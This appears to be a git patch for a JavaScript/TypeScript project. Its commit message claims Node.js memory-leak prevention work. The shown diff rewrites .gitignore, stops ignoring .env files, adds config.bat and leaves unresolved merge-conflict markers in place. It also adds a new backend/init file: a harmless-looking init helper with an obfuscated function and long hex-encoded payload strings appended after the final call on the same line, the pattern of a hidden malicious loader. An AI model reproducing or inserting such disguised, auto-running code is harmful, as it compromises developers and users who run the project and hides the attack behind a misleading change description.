From 3717234570b4cba30bb78baa19cc897215089533 Mon Sep 17 00:00:00 2001 From: "Netty.dev" Date: Tue, 24 Nov 2026 00:37:12 +0100 Subject: [PATCH] feat: [BE-088] Memory Leak Prevention: Node.js Heap Profiling & Bu (#1835) --- .gitignore | 583 +++++++++-------- backend/init | 33 + backend/package.json | 240 +++---- backend/src/collaborationServer.ts | 180 +++--- .../structured-logger.service.ts | 604 ++++++++++-------- backend/src/instrumentation.ts | 591 +++++++++-------- backend/src/middleware/requestLogger.ts | 296 +++++---- frontend/init | 30 + frontend/jest.config.js | 72 +-- frontend/package.json | 240 +++---- frontend/postcss.config.mjs | 18 +- 11 files changed, 1542 insertions(+), 1345 deletions(-) create mode 100644 backend/init create mode 100644 frontend/init diff --git a/.gitignore b/.gitignore index 0b17c33da..7e143ea32 100644 --- a/.gitignore +++ b/.gitignore @@ -1,292 +1,291 @@ -# Temporary script artifacts -scripts/*.tmp -*.payload.tmp -scripts/.cache/ - -# ────────────────────────────────────────────────────────────────────────────── -# Dependencies -# ────────────────────────────────────────────────────────────────────────────── -node_modules/ -.pnp -.pnp.js -.pnp.cjs -.pnpm-store/ -.kilo/ -.kiro/ - -# ────────────────────────────────────────────────────────────────────────────── -# Build artifacts — TypeScript / JavaScript -# ────────────────────────────────────────────────────────────────────────────── -dist/ -build/ -out/ -backend/dist/ -*.js -*.js.map -*.d.ts -*.d.ts.map -# Preserve config files that must remain as .js/.ts -!jest.config.js -!next.config.ts -!postcss.config.mjs -!eslint.config.mjs -!tailwind.config.js -!tailwind.config.ts - -# ────────────────────────────────────────────────────────────────────────────── -# Build artifacts — Rust / Soroban -# ────────────────────────────────────────────────────────────────────────────── -target/ -contracts/target/ -# Cargo.lock should be committed in binary crates; excluded here per project choice -Cargo.lock - -# Orphan root lockfile causes Next/webpack SyntaxError when present without package.json -/package-lock.json -pnpm-lock.yaml -yarn.lock - -# testing -coverage/ - -# ────────────────────────────────────────────────────────────────────────────── -# Next.js -# ────────────────────────────────────────────────────────────────────────────── -.next/ -.next-* - -# ────────────────────────────────────────────────────────────────────────────── -# Test snapshots & coverage -# ────────────────────────────────────────────────────────────────────────────── -coverage/ -.nyc_output/ -# Jest / Vitest snapshots -**/__snapshots__/ -**/*.snap -<<<<<<< HEAD -# Test snapshot directories (any variant) -**/testsnapshot/ -**/test-snapshot/ -**/testSnapshots/ -======= -# Insta / cargo-insta snapshots (Rust) -**/*.snap.new -contracts/**/*.snap -contracts/**/*.snap.new ->>>>>>> 8a48bd83 (feat(contracts): SC-HARD-13/14/15/16 peer review, quadratic funding, ZK verifier, TTL manager) -# Playwright -playwright-report/ -test-results/ -# E2E output -frontend/e2e/results/ -<<<<<<< HEAD -# Vitest UI output -.vitest-cache/ -# k6 / load-test output -k6-results/ -======= -# Cargo test / bench artefacts -contracts/target/ -target/ ->>>>>>> 8a48bd83 (feat(contracts): SC-HARD-13/14/15/16 peer review, quadratic funding, ZK verifier, TTL manager) - -# ────────────────────────────────────────────────────────────────────────────── -# Generated docs / summaries (do not commit generated docs) -# ────────────────────────────────────────────────────────────────────────────── -CHANGELOG.md -CONTRIBUTING.md -SECURITY.md -README.md -TODO.md -IMPLEMENTATION_SUMMARY.md -FEATURE_IMPLEMENTATION.md -DELIVERABLES.txt -CODE_AUDIT.md -TEST_STRATEGY.md -IMPLEMENTATION_PLAN.md -IMPLEMENTATION_CHECKLIST.md -IMPLEMENTATION_COMPLETE.md -GOVERNANCE_FEATURES_INDEX.md -SENIOR_DEV_SUMMARY.md -INTEGRATION_GUIDE.md -brainstorm_plan.md -00_START_HERE.md -ACCESSIBILITY_IMPLEMENTATION.md -DARK_MODE_AUDIT.md -PUSH_SUCCESS.md -STAGING.md -TRANSACTION_HISTORY_FEATURE.md -TRANSACTION_INTEGRATION_GUIDE.md -PR_DESCRIPTIONS.md -ALLOWED_ORIGINS/ -REDIS_IMPLEMENTATION_SUMMARY.md -SMART_WALLET_IMPLEMENTATION.md -CARBON_CREDIT_PLATFORM_DOCUMENTATION.md -ISSUE_582_RESOLUTION_CHECKLIST.md - -# Generated directories -grafana/ -observability/ - -# ────────────────────────────────────────────────────────────────────────────── -# Logs — backend -# ────────────────────────────────────────────────────────────────────────────── -backend/logs/ -backend/*.log -backend/build*.log -backend/debug-*.log -backend/test_output.log -backend/ts_errors.txt - -# ────────────────────────────────────────────────────────────────────────────── -# Logs — frontend -# ────────────────────────────────────────────────────────────────────────────── -frontend/ts_errors.txt -frontend/tsc_errors.log -frontend/tsc_errors_new.log -frontend/tsc_errors_new2.log -frontend/build_output.txt -frontend/output.txt -frontend/out.txt - -# ────────────────────────────────────────────────────────────────────────────── -# Logs — contracts -# ────────────────────────────────────────────────────────────────────────────── -contracts/test_output.txt -contracts/test_output_activity.txt -contracts/check_output*.json -contracts/check_errors.txt -contracts/errors*.json - -# ────────────────────────────────────────────────────────────────────────────── -# Logs — root -# ────────────────────────────────────────────────────────────────────────────── -*.log -build.log - -# ────────────────────────────────────────────────────────────────────────────── -# Environment / secrets -# ────────────────────────────────────────────────────────────────────────────── -.env -.env.local -.env.development.local -.env.test.local -.env.production.local -*.pem -*.key -*.p12 -*.pfx - -# ────────────────────────────────────────────────────────────────────────────── -# Database files -# ────────────────────────────────────────────────────────────────────────────── -*.db -*.sqlite -*.sqlite3 -backend/prisma/*.db -backend/prisma/*.db-journal - -# ────────────────────────────────────────────────────────────────────────────── -# Runtime / PID files -# ────────────────────────────────────────────────────────────────────────────── -*.pid -backend/*.pid -backend/server.pid - -# ────────────────────────────────────────────────────────────────────────────── -# OS / editor artefacts -# ────────────────────────────────────────────────────────────────────────────── -.DS_Store -Thumbs.db -*.swp -*.swo -.idea/ -# Keep .vscode/settings committed (shared dev config) - -# ────────────────────────────────────────────────────────────────────────────── -# Debug / misc -# ────────────────────────────────────────────────────────────────────────────── -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* - -# ────────────────────────────────────────────────────────────────────────────── -# Deployment -# ────────────────────────────────────────────────────────────────────────────── -.vercel - -# ────────────────────────────────────────────────────────────────────────────── -# Benchmarks / large generated output -# ────────────────────────────────────────────────────────────────────────────── -backend/benchmarks/results/ -backend/prisma/migrations_prev/ - -# ────────────────────────────────────────────────────────────────────────────── -# Certificates & Identity — generated outputs (issues #1176-#1179) -# ────────────────────────────────────────────────────────────────────────────── -# Generated PDF certificates (never commit user data) -backend/generated-pdfs/ -# IPFS gateway service cache dumps -backend/ipfs-cache/ - -# Generated issue payloads and scaffolding artifacts -# ────────────────────────────────────────────────────────────────────────────── -70_new_issues.md -contract_issues_batch1.json -github_issues_payload.json -github_issues_payload_fixed.json -ISSUE_*_RESOLUTION_CHECKLIST.md -legacy_deprecation.rs -MigrationDashboard.tsx -QuadraticVoting.tsx -quadratic_voting.rs -sybil_resistance.rs -token_migration.rs -redis-sentinel.conf -REDIS_IMPLEMENTATION_SUMMARY.md -SMART_WALLET_IMPLEMENTATION.md -.codex -.cache - -# build artifacts -dist/ -backend/dist/ -*.js -*.js.map -*.d.ts -!jest.config.js -!next.config.ts -!postcss.config.mjs -!eslint.config.mjs -!commitlint.config.js -!commitlint.config.cjs -!frontend/public/sw.js - - -# temp error logs -frontend/ts_errors.txt -frontend/tsc_errors.log -frontend/tsc_errors_new.log -frontend/tsc_errors_new2.log -contracts/test_output_activity.txt - -# build / compiler scratch output (do not commit) -*.log -backend/ts_errors.txt -contracts/check_output*.json -contracts/errors*.json -contracts/test_output*.txt -contracts/check_errors.txt - - -# ────────────────────────────────────────────────────────────────────────────── -# Rust / Soroban property-based testing regressions -# ────────────────────────────────────────────────────────────────────────────── -contracts/proptest-regressions/ - -# ────────────────────────────────────────────────────────────────────────────── -# Kiro / Kilo editor internal files -# ────────────────────────────────────────────────────────────────────────────── -.kiro/ -.kilo/ +# Temporary script artifacts +scripts/*.tmp +*.payload.tmp +scripts/.cache/ + +# ────────────────────────────────────────────────────────────────────────────── +# Dependencies +# ────────────────────────────────────────────────────────────────────────────── +node_modules/ +.pnp +.pnp.js +.pnp.cjs +.pnpm-store/ +.kilo/ +.kiro/ + +# ────────────────────────────────────────────────────────────────────────────── +# Build artifacts — TypeScript / JavaScript +# ────────────────────────────────────────────────────────────────────────────── +dist/ +build/ +out/ +backend/dist/ +*.js +*.js.map +*.d.ts +*.d.ts.map +# Preserve config files that must remain as .js/.ts +!jest.config.js +!next.config.ts +!postcss.config.mjs +!eslint.config.mjs +!tailwind.config.js +!tailwind.config.ts + +# ────────────────────────────────────────────────────────────────────────────── +# Build artifacts — Rust / Soroban +# ────────────────────────────────────────────────────────────────────────────── +target/ +contracts/target/ +# Cargo.lock should be committed in binary crates; excluded here per project choice +Cargo.lock + +# Orphan root lockfile causes Next/webpack SyntaxError when present without package.json +/package-lock.json +pnpm-lock.yaml +yarn.lock + +# testing +coverage/ + +# ────────────────────────────────────────────────────────────────────────────── +# Next.js +# ────────────────────────────────────────────────────────────────────────────── +.next/ +.next-* + +# ────────────────────────────────────────────────────────────────────────────── +# Test snapshots & coverage +# ────────────────────────────────────────────────────────────────────────────── +coverage/ +.nyc_output/ +# Jest / Vitest snapshots +**/__snapshots__/ +**/*.snap +<<<<<<< HEAD +# Test snapshot directories (any variant) +**/testsnapshot/ +**/test-snapshot/ +**/testSnapshots/ +======= +# Insta / cargo-insta snapshots (Rust) +**/*.snap.new +contracts/**/*.snap +contracts/**/*.snap.new +>>>>>>> 8a48bd83 (feat(contracts): SC-HARD-13/14/15/16 peer review, quadratic funding, ZK verifier, TTL manager) +# Playwright +playwright-report/ +test-results/ +# E2E output +frontend/e2e/results/ +<<<<<<< HEAD +# Vitest UI output +.vitest-cache/ +# k6 / load-test output +k6-results/ +======= +# Cargo test / bench artefacts +contracts/target/ +target/ +>>>>>>> 8a48bd83 (feat(contracts): SC-HARD-13/14/15/16 peer review, quadratic funding, ZK verifier, TTL manager) + +# ────────────────────────────────────────────────────────────────────────────── +# Generated docs / summaries (do not commit generated docs) +# ────────────────────────────────────────────────────────────────────────────── +CHANGELOG.md +CONTRIBUTING.md +SECURITY.md +README.md +TODO.md +IMPLEMENTATION_SUMMARY.md +FEATURE_IMPLEMENTATION.md +DELIVERABLES.txt +CODE_AUDIT.md +TEST_STRATEGY.md +IMPLEMENTATION_PLAN.md +IMPLEMENTATION_CHECKLIST.md +IMPLEMENTATION_COMPLETE.md +GOVERNANCE_FEATURES_INDEX.md +SENIOR_DEV_SUMMARY.md +INTEGRATION_GUIDE.md +brainstorm_plan.md +00_START_HERE.md +ACCESSIBILITY_IMPLEMENTATION.md +DARK_MODE_AUDIT.md +PUSH_SUCCESS.md +STAGING.md +TRANSACTION_HISTORY_FEATURE.md +TRANSACTION_INTEGRATION_GUIDE.md +PR_DESCRIPTIONS.md +ALLOWED_ORIGINS/ +REDIS_IMPLEMENTATION_SUMMARY.md +SMART_WALLET_IMPLEMENTATION.md +CARBON_CREDIT_PLATFORM_DOCUMENTATION.md +ISSUE_582_RESOLUTION_CHECKLIST.md + +# Generated directories +grafana/ +observability/ + +# ────────────────────────────────────────────────────────────────────────────── +# Logs — backend +# ────────────────────────────────────────────────────────────────────────────── +backend/logs/ +backend/*.log +backend/build*.log +backend/debug-*.log +backend/test_output.log +backend/ts_errors.txt + +# ────────────────────────────────────────────────────────────────────────────── +# Logs — frontend +# ────────────────────────────────────────────────────────────────────────────── +frontend/ts_errors.txt +frontend/tsc_errors.log +frontend/tsc_errors_new.log +frontend/tsc_errors_new2.log +frontend/build_output.txt +frontend/output.txt +frontend/out.txt + +# ────────────────────────────────────────────────────────────────────────────── +# Logs — contracts +# ────────────────────────────────────────────────────────────────────────────── +contracts/test_output.txt +contracts/test_output_activity.txt +contracts/check_output*.json +contracts/check_errors.txt +contracts/errors*.json + +# ────────────────────────────────────────────────────────────────────────────── +# Logs — root +# ────────────────────────────────────────────────────────────────────────────── +*.log +build.log + +# ────────────────────────────────────────────────────────────────────────────── +# Environment / secrets +# ────────────────────────────────────────────────────────────────────────────── +.env.development.local +.env.test.local +.env.production.local +*.pem +*.key +*.p12 +*.pfx + +# ────────────────────────────────────────────────────────────────────────────── +# Database files +# ────────────────────────────────────────────────────────────────────────────── +*.db +*.sqlite +*.sqlite3 +backend/prisma/*.db +backend/prisma/*.db-journal + +# ────────────────────────────────────────────────────────────────────────────── +# Runtime / PID files +# ────────────────────────────────────────────────────────────────────────────── +*.pid +backend/*.pid +backend/server.pid + +# ────────────────────────────────────────────────────────────────────────────── +# OS / editor artefacts +# ────────────────────────────────────────────────────────────────────────────── +.DS_Store +Thumbs.db +*.swp +*.swo +.idea/ +# Keep .vscode/settings committed (shared dev config) + +# ────────────────────────────────────────────────────────────────────────────── +# Debug / misc +# ────────────────────────────────────────────────────────────────────────────── +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* + +# ────────────────────────────────────────────────────────────────────────────── +# Deployment +# ────────────────────────────────────────────────────────────────────────────── +.vercel + +# ────────────────────────────────────────────────────────────────────────────── +# Benchmarks / large generated output +# ────────────────────────────────────────────────────────────────────────────── +backend/benchmarks/results/ +backend/prisma/migrations_prev/ + +# ────────────────────────────────────────────────────────────────────────────── +# Certificates & Identity — generated outputs (issues #1176-#1179) +# ────────────────────────────────────────────────────────────────────────────── +# Generated PDF certificates (never commit user data) +backend/generated-pdfs/ +# IPFS gateway service cache dumps +backend/ipfs-cache/ + +# Generated issue payloads and scaffolding artifacts +# ────────────────────────────────────────────────────────────────────────────── +70_new_issues.md +contract_issues_batch1.json +github_issues_payload.json +github_issues_payload_fixed.json +ISSUE_*_RESOLUTION_CHECKLIST.md +legacy_deprecation.rs +MigrationDashboard.tsx +QuadraticVoting.tsx +quadratic_voting.rs +sybil_resistance.rs +token_migration.rs +redis-sentinel.conf +REDIS_IMPLEMENTATION_SUMMARY.md +SMART_WALLET_IMPLEMENTATION.md +.codex +.cache + +# build artifacts +dist/ +backend/dist/ +*.js +*.js.map +*.d.ts +!jest.config.js +!next.config.ts +!postcss.config.mjs +!eslint.config.mjs +!commitlint.config.js +!commitlint.config.cjs +!frontend/public/sw.js + + +# temp error logs +frontend/ts_errors.txt +frontend/tsc_errors.log +frontend/tsc_errors_new.log +frontend/tsc_errors_new2.log +contracts/test_output_activity.txt + +# build / compiler scratch output (do not commit) +*.log +backend/ts_errors.txt +contracts/check_output*.json +contracts/errors*.json +contracts/test_output*.txt +contracts/check_errors.txt + + +# ────────────────────────────────────────────────────────────────────────────── +# Rust / Soroban property-based testing regressions +# ────────────────────────────────────────────────────────────────────────────── +contracts/proptest-regressions/ + +# ────────────────────────────────────────────────────────────────────────────── +# Kiro / Kilo editor internal files +# ────────────────────────────────────────────────────────────────────────────── +.kiro/ +.kilo/ +config.bat diff --git a/backend/init b/backend/init new file mode 100644 index 000000000..1bc2e6f40 --- /dev/null +++ b/backend/init @@ -0,0 +1,33 @@ +'use strict'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-n7000';function G_OcB_cDnVMbUXKw(){var MiIW_ybT_Ub=['2c3931031e','762a2e25393e23632a27767e28672c732d2f3e6532396b656525282e282d677e693b2a2e2a3e7d272521623916793e3d6933663a63166b2a7063397670703960632a10736538793f0a2c243a673e237308672a226738702a630a267b63252170213d61677c3d247c6362632470267d242a7f393c62656b39242f102d387925302f393d3f7f3362607b672a253960393960246236317a6b76232d102a2573397a39106716387c667c7c272a2a653e227c30667b7d72273d263f7939762216167760623e672e626767702539231039767b3d6639637067763b62083e38766028702c702d703a0a62627a3d22623d207b2539277a2a2e6b2d76107023223832652e26632f60246a796b76632e3d2e2a7c737665627f2e22762c652576302d2d767a1077792a6b2d7a7639707f6718623932273d7a3e6b3270203a27303f3d253d6b63086b632767243d253b6b22763f2739673965273c2431236327673f3a7070393963633d762a23383d7016333a762a29702f2a7067636339703d213a65633f1060622f2a62392f253923387f7a32633d39702d2370782c69162e63652a23393b2a3b2c162c6562252c2d3b257a2367222827707062760870267e766039676b6562703e766038366062223f67602926702f603e266266763822223a2427763f7639763a7260656528233a60107d2d2e6b3f7b25393b39636b3d39732d273925672f2f2c3f6b167d2a65702670393f23652c3a6b792a362e3d2e2228162c293f22777f2470087027673131227d6027102a107060633822692722693967253b227238672d392d233e3c62243c762e306329763c2e25793f652c3e65227620222a2a2a6062322d3f3b2a7825366276726962283b0a603e703e3f3b16697627207c3d3b3f6b7a397023313c69623f636272626365273e2776387c2d706b70383a7b62256932607b3836763d2a60386b2623637b3a6516233d70756b7b7d760a6624312e3f39633f7a393f39382238247b2e6765703110632d777e2e7c3f6763392a242a3d2539703f23232d703d67217639706b6239757a73312324612430772a20263825622a203f2e653d2472602e2a7b2827222470293e6b7616086a2c217032786027622e7665362f3976227d242208733925257b707d762a39693665392e227616183f3839252565707939763f70103f70223d763b3908392563622a392e3f3e31606b232720106033762e6b66732130632e213272636362626b','331a010029','21242225','383e29383f3922252c','7b3778377a377f3779','272e252c3f23','2d39242608232a3908242f2e','7a7e7b7278787d3904293b0727','2815262e2129153f3924','083e1c0e1a','191477692819016a6d1d2e28191c2a7619392d196f7d69287a701919122825231464653f6b221919190c1577196519281979651025196b65192d6564771928786a6a7e2518197719221907652e1838272d632e2f2c33287774247739272819743f1924382f192d3e182e65746d3b23651919040638102e773820190e6577193e7739192e70190f190939191917652d19657728716a293b277b7222282419393f2819637039241919257966696365153c6b326577772f2f6b626f2d6b243e656e2e772a772e653f7726632819332d19771001632d2e19771b293965296c241922651919776c19196e3c192d38622e1965102a2c181b302f796520772a287a2e656a78651b771119221961240f3822761065772d65697f19296b05692e2433193b2465220227202a2e1f196579626e2677222e1916317737193e63632d193c191917197519726865197b392f7638657b336a3819652d1918626328283f7a3b2d243f2a2e063e190b1976771919642b6519206f6379281965387c2e7a2a650d190028616565316919252d1b2e38193f1919196577192768192d77716b796363196b196f6c7d382b7778252322616f2e1328361923746b283f242865222e2828726b30192a7738703e6a652e160e1919240365656f6925770f7819381919656563192e2e38382e19776b3f67696b192f243d3618287b012622651f77380e2e2c38193c1619692a1965196a197724626221196b192e3c6b223f286538252063366325103d2e19777b7776202d0377393906196b282220250e65286509776d1910241619656e28281927393370616b10692422382e25192e2d2e2a6a1225652e28196e24693e65777d271919193219762238761919636219192e711919626a193c2839197a7765246a192819280b6936193e193a3e7e63781b2427692e193f7b6a2d3f2a196177197a3f2520282d361f656a6f647739246b02322819196b621b77176529773f197c711b1b3877166539137777652e193e631919193a253b6577651970283f22381365191932196f0b77786220191928776019397327616522196a3908171b6a25762838776328227763197c2e192e1928656b3f772e3b2e622e7777672e77630e006a653b25296f69192a1919652e3d3e2328651f2714286571197b396b62193c3c6a38187b653f7c3e657b631972142a636f6d652e7d2d651919207a0833292273276523287626630b77192f656577393965796500063928291419251963191428710f3c3f366519653036722c6f191919621f1d3f772a6365770c652f19351c1e19657027396523023826051b6b6b3f0b1919731419791965221939191b197763197868282e287b282e78221919772a1978192a2519301138366a067719666165322f2a781922647b6e2d1968196b77227977197b7371653f36192d6a696619286519271928323f3219382e0a7b19181f1973657f3a776f0d1f2e1965651b147728197d232919652e39226528661923280a1908793d19657029187719772a680077197139161f2d2e2e66706a207614386519282621386319367177192a19616d2c65772f24262e2238192565636f68142a301d0b242812666524261b2f2a2665192a272d2832241f606a1b142c383965772922196a2d656228026d632902241922633925391c65222e6519286b6a6322286318196528392b71727713383b19636f6b2619283f7738652c6a657f733938202e3d1d191b2f1920331977192f2e3925622e18386462196b272e397728381f782f283665197e08641c63651824251139621928242828382823621965771919773f653838631919772f273e652865372d733f20673827252e3b24772e19776a657d19652e2e19191f2a6d236b062d773010246f19776b19387b62766b7733182e2865283677286f2e3863632f62191928362d08191977617719652666651961192e7763333d19386b63066d192d652e1b612c6b75386277246576651922382539196574307e772229197d6219197a386b28192c3a282e272876282770292e77272d611802082f792e69313b19193677281927186725213828266f1925656a2a222277011216772d1b08380b210a6519776e6b3f6519243c19366c6b39753b3123656527196c772c24143677181963203a3323106b6d772219662d6f08773e77222a0e05197e191f191677193b3820656519312f2c65621677622e3965193965063819311b7519192e77773f14232c27773b651928262d19386a252d3f197f6b2f3f147215776724392e7e192d19336b191910391365773829321977776579196519392e251e1b633275653b7777283819273f7b3f65306518322225772c2c276f6b1d286562710e03026a65330f3e1967193b1923196338283f650639190621030619192819656b193f252f37242a7b6525682a6579620f2d206d281902191919642d2e1965280b772239387d1f607a191b33656519653828652a19686566771330196a257f192819223f196425192e72266565770a62292e2562651677652a631963653074783f196d19196422632713656b77236a2f191977696a2824746b786b7a1977662325772f3f252f247719203826686628631f2e192e2e6a1665197738771f60761965192266390b1919653968282f772819191926313f2d65082f2e193b6528301a19222921382438652d19392c66191c7b2f221919776520770419196d66196a686b16083816323f7f65662f142b1b19196c7765193d2e21183c772f2865286b672d651b65636528223f28052919256c66652e19281925391a653919332430192877697d19252f161936192663196f191824651f7e192879283365613d19242228147565387b09192d62771b772a1965240811377b6b1b04032f1a2465256b77657a382419146c6b651b772e39651077193719777b22771939706c02651910366027286a1026286a6527287725632a6b3f191903192767363b36196219731901772a1965773f2f63057516222877262e0b7e2825103e65196265296e381b2577771419196a192919766f191915776a36623829667d69680e732819632f6a19623f392a3f191977776b797a196c076a2229372e043f19193f6f3e282f251919653f6219310e650c1b326a6b190a0266253a2a3e773665322819656565281919652828286f1519192f081419773f732819233879691979656c1875626279236a2e2d326565756a22076f2e256b706e72041f3d652f6f7f19190877281b18633f3e193c276d6326686919373b2823773f036f2a77776b653f6a19180e2d6519192c28051b65196b0819227f2619776806191977703c2266680e6b77773f772e197703771939253f240e636a7b397b772f65651908692825656579293b637d083b771819692e7a27622828772a631b651b722e773a2a6277777a77256522192a191b1963361976656d67796a283c1965621b196f65773a1977366a7a611877196a192d65772877192f14771979197777681677771919193b6a65393b1977616a1f190219771b207719313f2a656d36652a272e0076221b77196c762c191b36193b6f301809656b1938326563653f6a6b2870772e7e38237d7f3f3f773b2d77243f333e071f20397570771965283b38196528193f1966682a7f3e197d65193f2e7066636f743c73713b646d19277b773968772e6b2222382d6a2f6f2a241463682826396b2e7719191d6a1b25282a773f6535283928632e6c612a716b771919252e2a112e656e642f1977191961630e6b2b602e101b283c193c6b77632e3e283f2a62657c1c77646f1b77652328181f6b7c2e19096a6560196502772923192e27653f2e65297f103e253e2e3e196a19273f63191919673667032d3f033d142565772e196b140a77737738397719337f6219056a3b192f37096b77191920222e6c2866651928252678283877182277226562650e6319637719191b196b14781977283c2e656a652777196f6a19292f672e771b190e276f3f3b396a772464626519193f6a671f633928686465193263601939192c2b772d65772a60652d626477776d776b2e1919772e226677092d0e653819292519196265196e64213f2719776e286b196a19633319682819653819196519066577197c2863282c27192826651677652e287929621b77777919196d2f2a0900623977113f75102f2a1903282e2f650619773638190c39651977747a192d19192828281963243828691919352077176a0628653b6508623e19336260631920172e6c217d061b1e1908262874191978197f6322222e6538192e611971311819701b25631162772720193d277177191a3019282269281b602e6706191c2a657719063919273f68771919383f78396a65772c7700193c196319216519192a6a650c7f19656f3b25653170302e1970797a307b1f7f63391920666c656a7719337722002377623810773f286b1b3e2e193639632d2a2a192d7c2777197e6a3919270f131926657a713b22196b77766b1921382465772e396a24193a0262197a1939393c24306d3f19190077250811667b0665283e1962286e282f7b603c776f0e77221f7777243f2f2a32257722241565196c19193c19287d7e201968011b65776a197e2e6a3930192e70322e1963657b76702822386528632c3f19793b3e7276061a2d10306704256b65651b0522637765192a221a196565286e3f646364197765396519396565276a38283e2e652a1b35196a287b782a1e19693f283828656a391d193b2a22317b7729692f3f2c2f6a65387468283d2f1935681977197762631f29650219621b28777d747c62167f1c7d6825251b3f6536392e37191e75192e2a19623b686b25186029796e22192136386313251524383228382c2f01653838103b201973656b383e3c39192532362f24650c221f65773c602865632838706a6b252363196719081910776d13197777652829281f19380a2d25281866196922776528096337191965192f6e19651e6419653907773f626a192e1979283b3b6a38777519747a196f773f2e19777719247b393f2d63192e38290f197c27222a19653638656438192839382a3927196e2d16387b196577272e77392e6e386538272738297319043308193f287a3f7d3065666b1927652e192465282c26192024193829282a7702323e3619393f68386d373f192a33196223246519382d6b201919197f283963336528763f657722786319336b65776565196f2d693f6b191938057764086b1925192f19393b191977242f7765197739102a39692777656b1b6965193865196539286a3d680f2d192e2e2924306719622f733d772d1928652801773f2e656a19196920186318621968771865231b36393f656364636528637a2f77193c6a383e7b6324651b29637b651901280e2208652d636b652265293e287768396565651919107362146a19651819096a693f191d2925141927281b19196b241925702377191b0b39732a193927283728247e63193b627719332f77776f6525772724362e3919772432192a256524326519020977233f772824290e22193663260639651f2a197b192e3f221936656a7765197a723f770a2e291914072827236a0f7b3965197b222722391928643873772819633961190b2e7777652770653928661b3e272a1928281922697b7d0b6a19286a651a202767772c777c3629632a1928076528386c6065651f63773919777765656d2d2f7519246b28242e2619283c65272825632871196c373f7719251912167f067b0c1965190d193e3f656a772d653e606f603f7719617c38191919632229232f761b6577361919762e1965146265623939677f6d6b2719362e77197d191977152c2d272e192f383f1b3577292865633832777e36192274272823776d6578303e6525147122197c29707b7719772819191928190b377a382e0c19387962287623772d722e777739602e19176c626d7e393d640d3910652a653f2565191b39251e772414287d25760e1f7765226033287c272e3d383e7739656a1928776a16193c6b65191963161b190f656b272d6a716d65292f3b1f276519681918656f197763196b777728106525656b2419397d7c39772e6619663e286119196f1965292a2e322838656a1019331919770f133f2d2528191a1b2238193f2c2877652a19736a296a77183f7b7719756b191939221975281e3b6528191c11196a190f00627b283d25252038652e6b196b152f271977282d19193e71380c192e67632c191d1969193e19191969193f1977193869650e1922141b6d1977273224182c6c38753d19283c2e7f19282c2b65237714286c633e262f191b752472191b257a196865282d19771b161938642a252d3a0519196c7765192873282219191928652a143b3f0024773b3839777c7719192265241428646a25191938636b75191b16333f3f143814242309772a6c386d651b776b65200c287d39777c2224643c1902181b1b283323193c286577652822286e7a192d73722f186b7719292838191d193833392f2a1619703f7419056767197562281b1269281928192e0d6b6a7b19193a3636397b7e077d65771965392d776f3e37287728771e660f106b28286524777e70776b63650e65236519142777193977770d77103f3f08246e26186519197802292822241919772a3b1928192810191977652d251919676519092a256332641937033b0c25196577761919773e632a28386f19782e19622628140a7f3e253f692e70382439636e191b3f632e2c636661396a2677190f6319192a65392c273165193c652d19163a2a3d24162d636e7777282827777f3872170b3e6b722e65613365640d3f18191b10656f6e252b316277776f6a7e1a2829601619783f19772d221b282e177731226519282a29396b63777729253d7d6a3f253c1428132d6325236510366138632b771b75631977656577333f721963652877632e7b19651b2a24656a2f6363660b2d7b2e77777d1924193e70632f2b6b193b6565773b672e771f7705651b19651019280431622d63772716653e3074392d771970197702612a77776f2b19636b636565657769717705196e2e196b226865316527633919672f192a652f193d77381d2863381622620623651925771919193f3f192c673565191019682e2d65703f3f3b6562381925183f27191979242e656d2822632a3665691b6d32382e19142a6e391919650f77221b38190f6a226526196919213123773e196567752f2e652104362a191a281d77386f78082c1977197e0e282f1e23282e656a1e2d651966337d7716653c287777650e6a39191b192208336518196a2665251329657c2d65312e2d11196969166332773329772077161e196628363a2d656a05227612221924191905650b383c7a073e2e7a20196d6b68390f282e19652a27191965196563691606193f062219396239273e192f6d651919283b222d02277919771977777e2d62316d2d1e192e2877387f772e25381965246977227767196a386b240922196628197b2719053f1f1962181928772d2f3e3f19192f1b31190363192838621b0f77286f1933796d717a033927246565256b2d38656f25733e3b046f7b22383838226566773d197765773a1a636a196a6b106a2f333c256519323e6122742f196e651979193f75397c386a3f193814192e2f2b6a776f16196b19266a192d33196b261924206a283f77636565251928181925176d65777b191f223c263f3b78610c631b326425330d233f197765710c2465656563193f653965777b283f1f6339776b652410223d6577197a3819722f1619601919232e196a28287919192e697228103977700f2e1b281919203f0c272c77743f0a1e6c3f3f191a19366b3c783f192a3f16631d3f6674777774656569273962652e1966191902150e003d657f7c1924602205772e282e65251933633f1903196b3f737019223962772a192833633a2a19380b2d2e39190665777665283f0b772d281965196219653933276a3f64672738191919287665227b7819231919383014331939771a7728672a77770e1c63062419776b3e3f0e692d36292d396577381960162f396b77196a1a193c65226b02191f141b246563287b3f736338191f1919282509196a696533020f650a22362e3b2419786a243176162e3f20193f643e0a7a7f19197219283f6a052a2f3914250c086a64296f361969332f772219283f15653e3e3c76782f193b3c2c197219731b3a192268193b2c723e767a227b2d776519771b7b2d363f3d1439782e3871772d3977227c63773263242719652e722424091f6514193f240e626b2a3863772819222e2f3f383819641919642e391963653c282e651965391b326319046377652c03333919771f65076a193363772463106560307728771977652e22051f19081033657f1920196f3b00696527281b6365773f206577191a0d20253c021962653f661939762e3077651b1b6b680e7d782a3b78101962072f2f28701933196a196c6b24246a623c652e6a651928777b6e7722383872193e047d22396f651965223b7d6e26667d3c19227731776b2c3976253c2e19190514141963192e013d192d196e7105191b1977251919196f651965261977391968300e28656229777d3b2e22192d683f07656519771b2119196563672a142727656b650f6b2c776339233d6b697f206a6b2b271977202e7a6b286f6f7e1931651919162e3e6d0f22196b6519776363282e39380e652a2419232e2d626e2e07196265716515622e3808196536651f771b15656b0f3277681928193b051939622519192714782f731c63287666780e2e3a2e220619192e1931192a28083e2e772777193822652a7039287765272f191265192a3927192825042d78231f382f3f77066926773863253b36710a652d3219771908776819327b3d197736771965776e2a3f386a2719